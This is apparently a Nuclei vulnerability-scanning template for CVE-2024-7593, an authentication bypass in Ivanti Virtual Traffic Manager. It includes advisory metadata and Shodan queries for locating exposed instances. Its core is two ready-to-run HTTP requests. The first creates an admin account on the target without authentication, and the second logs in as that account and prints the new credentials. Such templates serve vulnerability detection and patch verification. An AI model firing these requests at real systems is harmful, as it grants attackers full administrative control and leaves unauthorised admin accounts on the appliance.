Ivanti vTM - Authentication Bypass

id: CVE-2024-7593

info:
  name: Ivanti vTM - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remote unauthenticated attacker to bypass authentication of the admin panel.
  impact: |
    Unauthenticated attackers can bypass authentication to access the admin panel, gaining full administrative control of the Ivanti vTM system and potentially modifying traffic management configurations.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7593
    - https://packetstormsecurity.com/files/download/179906/ivantiadc99-bypass.txt
    - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7593
    cwe-id: CWE-287
    epss-score: 0.99987
    epss-percentile: 0.99984
  metadata:
    verified: true
    max-request: 2
    vendor: ivanti
    product: virtual traffic manager
    shodan-query:
      - http.favicon.hash:1862800928
      - html:"apps/zxtm/login.cgi"
  tags: packetstorm,cve2024,cve,auth-bypass,ivanti,intrusive,kev,vkev,vuln
flow: http(1) && http(2)

variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers HTTP/1.1
        Host: {{Hostname}}

        _form_submitted=form&create_user=Create&group=admin&newusername={{username}}&password1={{password}}&password2={{password}}

    matchers:
      - type: word
        part: body
        words:
          - "wizardtitletext"
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /apps/zxtm/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {[RootURL]}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycznFUOqD0Y01A9B5
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Referer: {{RootURL}}/apps/zxtm/login.cgi

        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="_form_submitted"

        form
        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="form_username"

        {{username}}
        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="form_password"

        {{password}}
        ------WebKitFormBoundarycznFUOqD0Y01A9B5
        Content-Disposition: form-data; name="form_submit"

        Login
        ------WebKitFormBoundarycznFUOqD0Y01A9B5--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: /apps/zxtm/"
          - "Set-Cookie: ZeusTMZAUTH="
          - "Set-Cookie: ZeusTMZAUTHTIME="
        condition: and

      - type: status
        status:
          - 302

    extractors:
      - type: dsl
        dsl:
          - '"USER: "+ username'
          - '"PASS: "+ password'
# digest: 4a0a00473045022100d2b458946b78c366ede2ec0fad623a162f9d5d338f9a8aa617962782671cb80c0220708522a03f885ce0b350b9c598224d800c1994674e8390f59d66b61f45d15bc8:922c64590222798bb761d5b6d8e72950